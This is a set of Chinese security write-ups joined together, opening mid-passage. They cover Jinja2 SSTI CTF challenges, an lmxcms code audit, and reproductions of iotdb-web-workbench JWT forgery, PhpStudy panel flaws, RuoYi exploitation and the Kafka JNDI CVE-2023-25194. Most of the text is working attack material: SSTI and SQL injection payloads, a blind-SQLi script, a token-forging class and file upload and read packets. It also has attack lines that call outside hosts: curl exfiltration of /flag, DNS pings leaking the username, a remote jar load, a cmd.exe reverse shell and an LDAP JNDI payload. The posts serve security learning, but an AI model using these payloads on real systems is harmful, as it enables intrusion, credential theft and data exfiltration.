cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr( )%}{%if x.eval(cmd)%}aaa{%endif%} q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')") 说了这么多的绕过形式,接着结合题目总结下常见的利用思路。 利用思路 无过滤的情况 ①随便找一个内置类对象用class拿到它所对应的类②用bases拿到基类(<class 'object'>)③用subclasses()拿到子类列表④在子类列表中直接寻找可以利用的类getshell 综上,基本思路为: 对象→类→基本类→子类→(init方法→globals属性→builtins属性)→读取文件的类 其中,()内的步骤有些时候不需要用到,所以加个括号表示可去。例如无过滤的情况下file类读取文件时: {{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 接着用代码演示图过一遍思路: 先找到一个类型所属的对象,在找到这个对象所继承的基类,接着找到子类。 假设我们需要用到的就是OS模块来命令执行,找到OS类了并将这个类初始化成方法,相当于我们调用了OS模块,然后通过globals保存对全局变量的引用,最后使用os模板进行命令执行读取文件。 到最后还要使用read()方法读取,是因为前面返回的结果为地址,如图所示: 所以还需要用read()读取一下。 如有过滤的话,其实追究其根本,还是要按照上面的那些步骤进行利用,只不过题目过滤了什么就用对应的方法绕过即可。 实战 [CSCCTF 2019 Qual]FlaskLight 这是一道没有任何过滤的题目,难度较小。首先是一成不变的步骤,尝试输入{{ 4*5 }}看看有没有回显20,发现存在SSTI注入: 接着利用{{''.__class__.__mro__[2].__subclasses__()}} 可爆出所有类,通过ctrl+f搜索也能找到利用类,但是不知道下标具体是多少无法加以利用。 这里附上网上的脚本寻找利用类及下标: import requests import re import html import time index = 0 for i in range(170, 1000):   try:       url = "http://a5fdb958-6cbb-476a-a8e6-94d4abec1832.node4.buuoj.cn:81/?search={{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"       r = requests.get(url)       res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)       time.sleep(0.1)       # print(res)       # print(r.text)       res = html.unescape(res[0])       print(str(i) + " | " + res)       if "subprocess.Popen" in res:           index = i           break   except:       continue print("indexo of subprocess.Popen:" + str(index)) 得到利用类的下标为258: 接着就可以开始构造拿flag了。 ?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} ---(省去了ls查找目录) 成功拿到flag: 再来看一道过滤了关键字的题目,使用上面提到的方法进行构造且分析思路。 # [GYCTF2020]FlaskApp 这道题过滤了os、flag、chr、popen、eval、request等常用关键字,需要进行绕过。 首先打开题目发现是一个用https://so.csdn.net/so/search?q=flask&spm=1001.2101.3001.7020写的一个base64加解密应用。有一个加密页面和解密页面,思路应该是在加密页面输入payload进行加密,加密结果在解密页面进行解密,输出解密后的payload被渲染到页面输出后执行了payload,使其报错发现有个源文件app.py及加解密原理。有个模板渲染,然而SSTI注入的原因正是由于render_template_string的不正确的使用以及没有对用户输入的数据进行有效的过滤导致的。 获取源码 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %} 利用上面提到的使用+拼接字符串绕过os、import等被过滤关键字以便找目录与执行命令。构造如下: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %} 拿到文件,接着读取,注意flag要使用拼接: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %} 成功拿到flag: 再来看一道过滤字符的题目,以便测试利用上述绕过各种字符的方法。 # [Dest0g3 520迎新赛]EasySSTI 根据题目名称提示,这题考察SSTI,进入题目是一个登录框,点击登录可以回显用户名,发现在username处有jinja2模板引擎的SSTI漏洞: 经过Fuzz,发现过滤了_.'"[]等字符,还有各种class、request、eval等关键字以及空格。 最终还是要达到实现{{lipsum.__globals__['os'].popen('ls').read()}}进行命令执行的目的,其他字符可以使用过滤器和join拼接字符达到绕过,空格的话使用%0a换行符绕过。 {%set%0apo=dict(po=a,p=a)|join()%}                       #pop {%set%0aa=(()|select|string|list)|attr(po)(24)%}         #_ {%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%} #globals {%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem {%set%0ape=dict(po=aaa,pen=aaa)|join()%}                 #popen {%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}               #read dict(o=a,s=a)|join()               #获取 os (config|string|list)|attr(po)(279) #获取 / {{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}} 等价于: {{lipsum.__globals__['os'].popen('ls').read()}} 先使用ls查看有哪些文件,构造如下 {%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|att ((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join() 使用()|select|string|list获取flag的具体位置: ((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join() 接着将命令修改为cat /flag 最终构造如下: {%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|att 成功拿到flag: 总结 对于ssti注入,其实掌握基本的常用的方法,按照常规的思路进行构造,有哪些被过滤的就用相应的方法进行绕过,按照模板走大多数题目都能解出来,但是最重要的还是自己动手尝试构造,体会其中的原理,因为还要考虑题目解释器版本不同、类方法所在索引不同,构造出来的语句也不一样。对于python里的jinja2 ssti注入就分析到这里,后续还会总结java、php中常用模板的ssti注入,下回见。
lmxcms代码审计学习
前言 最近学习php代码审计,lmxcms很适合去学习代码审计,因为比较简单。 环境搭建 源码下载地址http://www.lmxcms.com/phpstudy+phpstorm,apache2.4.39+MySQL5.7.26,php5.3.29 网站首页 后台管理 搭建成功 框架配置 入口文件 config.inc.php配置文件 run.inc.php 初始化文件 入口 在Action.class.php中找到调用方法的 可以看出m参数是类名前缀,开头大写,a参数是方法名 那么我就知道该框架处理请求的格式如下 http://127.0.0.1/lmxcms1.4/admin.php?m=xx类名&a=xx方法 后台SQL注入 在bookaction.class.php 在这里可以看到这个id是可控的,于是进入getReply函数里看看 发现这里执行了SQL语句 在后面写个echo$sql方便看 因为正常输入没回显,采取报错注入 admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)--+ 前台SQL注入 TagsAction.class.php中 看不出来$data['name']的值是如何来的,查看的p的方法 可以看到type=2的时候为GET传递,说明我们可以控制这个参数,继续看能不能利用 查看getNameData的声明 查看oneModel 查看oneDB 接着在这上面写个echo $sql; /index.php/?m=Tags&name=1 会跳404,但echo 出来了sql语句,说明这个过程是有sql语句执行的 这个时候继续利用报错函数执行试试 ' and updatexml(0,concat(0x7e,user()),1) --+ 发现是空白,连报错都没有,其实仔细看之前common.php里,有filter_sql方法 但是这里写了一个url解码的函数,且这个语句执行是在sql语句过滤执行的后面,那么我尝试二次编码注入 执行成功,但在1.41版本的修复了这个漏洞 这里用代码对比下可以明显看出来 前台留言SQL注入 在前台留言这里 随便提交一个,提交成功并没有显示,进后台看看 需要审核才能显示 审查源码 在BookAction.class.php中,发现POST传setbook后会进入checkdata函数 里面是验证前台数据并且过滤了html代码并且有filter_sql 过滤了sql语句常用函数,在这里就不能用二次编码绕过了,因为这里没写url解码函数 查看addmodel 查看addDB 即使我们有二次注入的思路,但这个需要管理员审核才能看到回显 随便测试一个看看 在数据库中显示为 可以看出这个ischeck是判断是否显示在前台的,那么我们进行注入,把ischeck修改为1就可以回显在前端了 POST提交 setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1679301152','1')#=1 前台布尔盲注 searchaction.class.php serchmodel countModel countDB 在这里写入echo $sql;方便尝试注入 利用这些参数进行注入 可以利用tuijian这个参数注入,或者也可以用renmen看构造问题 SELECT count(1) FROM lmx_product_data WHERE time > 1647768137 ANDremen=1 AND (title like '%a%') ORDER BY id desc 执行如上sql语句,这里同样也进行了filter_sql函数过滤,且没有url编码不能向第一个那样二次编码绕过,具体可在p方法里找 index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+ GET/lmxcms1.4/index.php?m=search&keywords=b&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6,1,0));%23 这里0x6c对应的是l 回显长度为8425,随便改个参数,返回包长度变为5403 用remen参数回显为8422 写一个简单的python脚本就可以测出值 import requests\flag=""\url="http://127.0.0.1/lmxcms1.4/index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database()&&&&,{},1))={},1,0))%23"\for i in range(1,7):\for j in range(65,122):\res=requests.get(url.format(i,hex(j)))\if len(res.text)>7000:\flag=flag+chr(j)\print(fla 任意文件读取&任意文件写入 文件读取函数freadfopenfilefile_get_contents搜索file_get_contents然后找file_get_contents函数和参数代码段, 在file.class.php getcon方法里 file_get_contents具有读取文件内容的功能,这里$path变量我们要看怎么来的,于是查看getcon的用法 在TemplateAction.class.php中调用了getcon 查看$dir变量怎么来的 该页面在admin目录下,那么进入后台根据页面名称传参调用尝试任意文件读取 lmxcms1.4/admin.php?m=Template&a=editfile 传$dir 还可以读取数据库文件 同样这里还可以进行任意文件写入 可以在这个页面直接进行修改或者写入 分别是文件名称跟内容,file_put_contents函数写入 任意文件删除 在BackdbAction.class.php中搜索unlink 这里看到filename可控,查看delone file/back下创建一个文件测试1.txthttp://localhost/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=1.txt 通过../../实现任意文件删除 再次访问就需要安装了 命令执行 在admin/AcquisiAction.class.php中搜索eval 可以看出$eval函数的参数$temdata是$this->model->caijiDataOne($_GET['cid']);跟进 可以看出执行了sql语句,通过跟进ci_data_tab发现 查询的是cj_data表 在cj_data表中插入phpinfo(); lmxcms1.4/admin.php?m=Acquisi&a=showCjData&id=1&cid=1&lid=1 总结 这次是对phpmvc框架的审计的尝试,思路是从危险函数入手,寻找可控参数变量,尝试利用触发,白盒+黑盒一起尝试可能会效果更佳,感觉自己有好多地方不足,很多都是参考网上的或者别人的思路才能完成审计实现,希望能对大家有所帮助,不足之处希望大家能够批评指正。
Apache iotdb-web-workbench 认证绕过漏洞(CVE-2023-24829)
漏洞简介      影响版本 0.13.0 <= 漏洞版本 < 0.13.3   漏洞主要来自于 iotdb-web-workbench IoTDB-Workbench是IoTDB的可视化管理工具,可对IoTDB的数据进行增删改查、权限控制等,简化IoTDB的使用及学习成本。iotdb-web-workbench 中存在不正确的身份验证漏洞。 环境搭建   我们发现在 Releases 中已经删除到只剩最新版本,所以我们从 commits 中查找历史提交记录来搭建环境。         下载下历史版本的源码,下载之后利用 docker 搭建环境。   需要修改一下 docker-compose.yml 将其中挂载数据库文件修改为: volumes:      - ./backend/src/main/resources/sqlite/iotdb.db:/sqlite/iotdb.db     直接在根目录下执行 docker-compose up -d 虽然镜像编译成功,但是执行后一直启动不成功,通过 docker logs 查看日志信息。      发现后台的 jar 包没有编译成功拷贝到容器内,所以先进入 backend 执行 mvn package 编译 jar 。 默认情况下都是依赖于 aliyunmaven 但是很奇怪这次编译时会提示无法从 aliyun 中下载文件,所以将 maven 的 settings.xml 配置文件关于 aliyun 的相关依赖注释掉,就可以编译成功。   编译成功之后,再次执行发现了问题仍然存在,还是相同的错误类型。后来无论怎么修改 backend 目录下对应的 Dockerfile 文件,仍然无法成功。最后发现是因为没有修改根目录中的 docker-compose.yml ,下载的仍然是有问题的镜像,没有去调用编译本地的镜像。      进到 backend 目录下 修改 Dockerfile 文件 删除掉 "${JAVA_MEM_OPTS}"   执行 docker build -t test:v1 . 编译镜像。      编译之后,将 docker-compose.yml 中的 apache/iotdb-web-workbench:0.13.0-backend 替换为 test:v1   再执行 docker-compose up -d      访问 http://127.0.0.1:8081/#/login      环境如此就搭建好了,但是在实际中利用的话,还是建议不要使用 docker ,而是单独编译前端后端。 漏洞复现   构造数据包请求保存用户时      提示没有登录。   创建一个 java 项目: import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import java.util.Date; public class iotdb_CreateToken {    private static String secret =            "HSyJ0eXAiOiJKV1QasdfffffffSd3g8923402347523fffasdfasgwaegwaegawegawegawegawetwgewagagew"                    + "asdf23r23DEEasdfawef134t2fawt2g325gafasdfasdfiLCJhbGciOiJIUzI1NiJ9";    public static String generateToken(String username) {        Date now = new Date();        //   Calendar instance = Calendar.getInstance();        //   instance.add(Calendar.HOUR_OF_DAY, 24);        Date expireDate = new Date(new Date().getTime() + (1000 * 60 * 60 * 10));        return Jwts.builder()               .setHeaderParam("type", "JWT")               .setSubject(0 + "")               .setIssuedAt(now) // 签发时间               .claim("userId", 1)               .claim("name", username)               .setExpiration(expireDate) // 过期时间               .signWith(SignatureAlgorithm.HS512, secret)               .compact();   }    public static void main(String[] args) {        String token = generateToken("admin");        System.out.println(token);   } }      将生成的 Token 加入到之前的数据包中。      创建用户成功,尝试登录。 POST /api/login?name=test&password=123456 HTTP/1.1 Host: 127.0.0.1:8081 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 4 { }      登录成功。 漏洞分析    org.apache.iotdb.admin.filter.TokenFilter#preHandle      在 TokenFilter 中 JJwtTool.getClaimsByToken(authorization); 从请求头中获取 token 并解析匹配    org.apache.iotdb.admin.controller.UserController#login      我们发现 token 的来源是因为登录成功后会根据用户来生成 token JJwtTool.generateToken(user)    org.apache.iotdb.admin.tool.JJwtTool#generateToken      生成 Token 的相关参数均是可控的,所以我们可以自己构造。
小皮Windows web面板漏洞详解
漏洞简介   PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮 Windows web 面板存在存储型 xss 漏洞,结合后台计划任务即可实现 RCE。 影响版本   因为我一边测试一边写文章,但是我发现下载下的新版本的已经添加了过滤,但是并没有更新日志。 环境搭建   从官网下载 小皮 windows 面板安装包   https://www.xp.cn/windows-panel.html         安装完成后会有一个初始信息文本,记录了小皮面板的登录地址以及账号密码。       漏洞复现 绕过随机码   我们注意到小皮面板后台默认开放在 9080 端口,后台登录 url 地址中会存在一个随机码,不添加随机码时返回信息为 404。      在程序中全局搜索和 404 相关的字样定位到 service/httpServer/Workerman/WebServer.php      当添加请求头 X-Requested-With: XMLHttpRequest 就可以绕过随机码。      ‍ 存储型 XSS   我们在用户登录处的用户名插入弹窗 XSS 代码 验证是否存在漏洞。 <script>alert("xss")</script>         利用正确的用户名密码登录查看。      我们发现成功的触发了存储型 xss。   我们查看登录时的数据包       service/app/account.php       \Account::login       \Socket::request      ‍   将信息保存起来,登录平台后会自动获取一次日志信息。       service/app/log.php      ‍ 后台计划任务   我们注意到后台有计划任务模块。      所以可以直接通过构造计划任务实现 RCE。   添加任务 -> 添加 shell 脚本 -> 构造 shell 脚本内容 -> 执行 shell 脚本      ‍                  成功执行命令。   结合原本的存储型 XSS,可以直接获取管理员的 Cookie 值然后实现后台计划任务命令执行,或者直接通过 js 文件实现类似 CSRF + 后台计划任务命令执行。 任意文件下载   构造数据包 GET /service/app/files.php?type=download&file=L3Rlc3QudHh0 HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close   file 的值是 base64 编码后的 /test.txt 成功读取文件内容。         service/app/files.php      文件下载通过 get 获取文件名,通过 base64 解码获取,没有校验,所以可以实现任意文件下载。 任意代码执行   构造数据包 POST /service/app/files.php?type=download_remote_file HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 95 url=aHR0cDovLzE5Mi4xNjguMjIyLjE6ODAwMC8xLnR4dA==&download_to_file_folder=&newfilename=testing.txt   url 是 base64 编码的 http://192.168.222.1:8000/1.txt python2 -m SimpleHTTPServer 8000   #在本地开启 http 服务             service/app/files.php      通过 url 获取远程的下载地址,download_to_file_folder 指定下载文件文件夹,newfilename 指定保存文件的文件名。 任意文件上传   构造数据包 POST /service/app/files.php?type=file_upload HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT Content-Length: 288 ------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="file_path" / ------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="file"; filename="testing1.txt" Content-type: image/jpg qweqwe ------WebKitFormBoundaryE0tFhmmng2vwxftT--          service/app/files.php    任意文件上传二   构造数据包 POST /service/app/files.php?type=save_file_contents HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 58 file_path=/&file_name=test2.txt&txt_file_contents=qwerqwer          service/app/files.php      根据通过 post 传入的值 file_path 指定保存文件目录 file_name 指定文件保存名字 txt_file_contents 指定文件保存内容,未作任何过滤,可实现任意文件上传。 任意文件上传三   构造数据包 POST /service/app/databases.php?type=file_add HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT Content-Length: 312 ------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="parent_dir" ../../../../../../../../ ------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="file"; filename="testing2.txt" Content-type: image/jpg qweqwe ------WebKitFormBoundaryE0tFhmmng2vwxftT--          service/app/databases.php    漏洞修复   在登录处添加了校验。      对传入的文件名的长度进行校验,同时对传入的字符串进行了 htmlspecialchars 处理。   ‍
记一次若依后台管理系统渗透
前言 最近客户开始hw前的风险排查,让我们帮他做个渗透测试,只给一个单位名称。通过前期的信息收集,发现了这个站点: 没有验证码,再加上这个图标,吸引了我注意: 从弱口令开始 若依默认口令为admin/admin123,结果真的直接进了。 管理员权限,直接上工具探测一下是否有若依的几个漏洞: 工具链接:https://github.com/thelostworldFree/Ruoyi-All 还得是运气啊!原本想着直接用这个工具一键穿的,但是奈何没利用过若依的洞,这个工具也不会使用。后续去查看了几篇文章,需要上传jar包,该漏洞可通过定时任务去调用执行jar包。 文章地址:https://blog.csdn.net/FY10033/article/details/126206890 然后坑来了。按照教程去实践,发现怎么样也无法执行漏洞。以下是java代码:  public AwesomeScriptEngineFactory() {\   try {\     Runtime.getRuntime().exec(\"net user test test@123 /add\");\     Runtime.getRuntime().exec(\"ping tttt.ogjxcqvtbf.dnstunnel.run\");\     Runtime.getRuntime().exec(\"ping  %USERNAME%.ogjxcqvtbf.dnstunnel.run\");\   }catch (IOException e) {\      e.printStackTrace();\    }\  } 还得从shiro入手 尝试了一下午后,想想算了,看看有没有别的洞吧。刚好文章里面有写到,ruoyi的shiro存在默认密钥,结果一尝试,还真的存在。(Ps:这边有个坑,我用文章里面提到的LiqunKit去尝试,无法执行命令。后续用了shiro_attack成功命令执行) 然后通过shiro写入内存马: 对内存马感兴趣的,可以看下这两篇文章: http://www.manongjc.com/detail/64-jmklbsfdbhdslrw.htmlhttps://blog.csdn.net/MachineGunJoe/article/details/118088350但是可惜,这是一台云主机,整个内网就一台主机。很多人可能看到esc,就不想再打了。不过我还是去翻了一下文件夹,把数据库账号也拉下来。 这个项目很奇怪,我找到的项目路径下全是jar包,我都怀疑这个是不是web目录。在基础信息里面找到了路径: catalina.home =C:\Users\Administrator\AppData\Local\Temp\2\tomcat.937421519914311975.808 但是进入该路径下,发现没文件,不知道是不是权限不够。 可以看到这边只限制127.0.0.1的ip访问,这就很尴尬,所以这边我使用ligolo代理3306出来,成功进行连接: 工具链接:https://github.com/FunnyWolf/ligolo 其实也尝试过添加用户,但是貌似被拦截了。原本想用哥斯拉的内存马进行一键提权的,但是不知道为什么,哥斯拉的内存马一直连接不上。有大佬懂的,还望不吝赐教。 再战定时任务 但是对于定时任务没复现出来,我还是很执着,通过查看其它大佬写的文章,发现了原来这个jar包的代码有问题,windows和linux的命令执行不一样,windows没办法直接通过exec执行,需要调用cmd进程进行执行。后续参考了这篇文章: https://www.cnblogs.com/BOHB-yunying/p/15661384.html配置完后,后台添加定时任务 org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vpsip:8000/yaml-payload.jar"]]]]') Java部分源码: +-----------------------------------------------------------------------+| String host="ip"; || ||         int port = 6767; || ||         String cmd="cmd.exe"; || ||         Process p=new || ProcessBuilder(cmd).redirectErrorStream(true).start(); || ||         java.net.Socket s=new java.net.Socket(ho 然后通过以下命令编译并打包为jar包: +-----------------------------------------------------------------------+| javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件 || || jar -cvf yaml-payload.jar -C src/ . //打包jar包 |+=======================================================================++------------------------------------ 成功反弹shell到我vps上: 总结与思考 其实如果整片文章看下来,可能会觉得比较顺利,但是其实踩了很多坑,以下是我自己的总结,也和大家分享一下: 冰蝎多版本不支持shiro_attack生成的内存马,目前发现3.0Beta9版本修复版支持; 若依的定时任务java代码执行:Linux和windows的执行代码是不同的,windows需要调用cmd进程去执行,才导致一直测试不成功; 冰蝎自带的socks代理和数据库工具很难用,经常出现奇奇怪怪的问题。可以使用第三方工具。如ligolo,把数据库端口映射出来,再去访问登录。我就是用自带的数据库管理工具连不上,然后socks代理也连不上,才使用第三方工具的; netuser添加用户失败大概率是权限不足或者杀软拦截了。上线后可以先tasklist查看是否有杀软。其实就是和渗透前的信息收集一样,上线后也要收集一下当前服务器的信息; 遇到渗透的效果和自己预想的不一样的情况,要学会排查,猜测问题的原因。如我本次代理3306端口出来,一直去尝试账号密码登录,但是一直登录不上。排查了一圈,才发现当时为了安全起见,把我的代理端口限制IP访问了。
Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析
关于 Apache Kafka是一个开源的分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。 影响版本 2.4.0<=Apache kafka<=3.2.2 环境搭建 满足影响版本的应该都可以,这里我是使用的版本为2.5.0 wget https://archive.apache.org/dist/kafka/2.5.0/kafka_2.13-2.5.0.tgz 直接解压 这里可以使用命令直接起起来,最新版的kafka是集成Zookeeper .\bin\windows\zookeeper-server-start.bat .\config\zookeeper.properties 但是报错了,可以自己安装zookeeper 下载地址 http://zookeeper.apache.org/releases.html这里配置文件其实可以补钙,实际上日志记录功能可选择不要,直接启动 服务端正常启动。 只要不报错即为正常启动 继续修改kafka配置文件server.properties文件,修改日志存放路径 命令启动 .\bin\windows\kafka-server-start.bat .\config\server.properties 测试kafa搭建是否存在问题 创建主题 .\bin\windows\kafka-topics.bat --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 1 --topic test111 查询主题 .\bin\windows\kafka-topics.bat --list --bootstrap-server localhost:9092 创建生产者 .\bin\windows\kafka-console-producer.bat --broker-list localhost:9092 --topic test111 创建消费者 .\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic test111 --from-beginning 消息收发没有问题,生产者输入信息之后消费者会自动消费。 启动connect .\bin\windows\connect-standalone.bat .\config\connect-standalone.properties .\config\connect-file-source.properties .\config\connect-file-sink.properties 因为牵涉到补图片,图片内的时间顺序可能不对,请忽略 访问 http://192.168.2.135:8083/connector-plugins这里是没有插件的,所以需要安装插件。这里要复现CVE-2023-25194,需要使用io.debezium.connector.mysql.MySqlConnector类,所以需要配置Debezium MySQL 连接器配置属性 安装Debezium https://debezium.io/releases/2.1/这里根据自己环境安装,比较友好的时不同的版本有介绍需要的java版本,因为我的java环境为1.8+的,所以这里我选择的版本比较老 在kafka的安装目录创建一个文件夹 存放debezium,修改kafka的配置文件 插件注意指向debezium的存放路径,重新启动,获取到插件,这里需要必坑的位置 1.java版本需要匹配kafka版本以及其他组件版本 2.配置文件需要修改,否则会报错。 kafka在连接Mysql时 数据需要同步到 Elasticsearch 具体的文章可以参考 https://my.oschina.net/u/4923278/blog/5007756安装mysql https://dev.mysql.com/downloads/installer/需要避坑的位置 结束 登录mysql数据库,设置允许外部连接 GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; GRANT ALL ON *.* TO ''@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; set time_zone='+8:00'; show variables like '%time_zone%'; mysql需要开启配置 log_bin           = mysql-bin binlog_format     = ROW binlog_row_image  = FULL expire_logs_days  = 10 可参考 https://blog.csdn.net/wang972779876/article/details/120002546访问路径 http://192.168.2.135:8083/connector-plugins发现插件正常启动,参考的有复现的文章,说的时需要做时钟同步,但是在测试的时候发现其实时钟未做设置的时候也没有问题。 漏洞利用 POC如下: POST /connectors HTTP/1.1 Host: 192.168.2.135:8083 Content-Type: application/json Content-Length: 809 { "name": "mysql-connect", "config": { "connector.class": "io.debezium.connector.mysql.MySqlConnector", "database.hostname": "192.168.2.135", "database.port": "3306", "database.user": "root", "database.password": "root", "database.server.id": "316545017", "database.server.name": "test1", "database.history.kafka.bootstrap.servers": "192.168.2.135:9092", "database.history.kafka.topic": "quickstart-events",   "database.history.producer.security.protocol": "SASL_SSL",   "database.history.producer.sasl.mechanism": "PLAIN",   "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.2.149:1389/rce\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" } } 具体的参数的配置属性可以参考这篇文章 https://blog.csdn.net/weixin_43564627/article/details/118959829在利用的时候需要注意在使用name时,为连接器的名称,重复注册则会返回报错。 使用marshalsec-0.0.3-SNAPSHOT-all.jar起ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.135:8888/#Calc 1389 发送POC 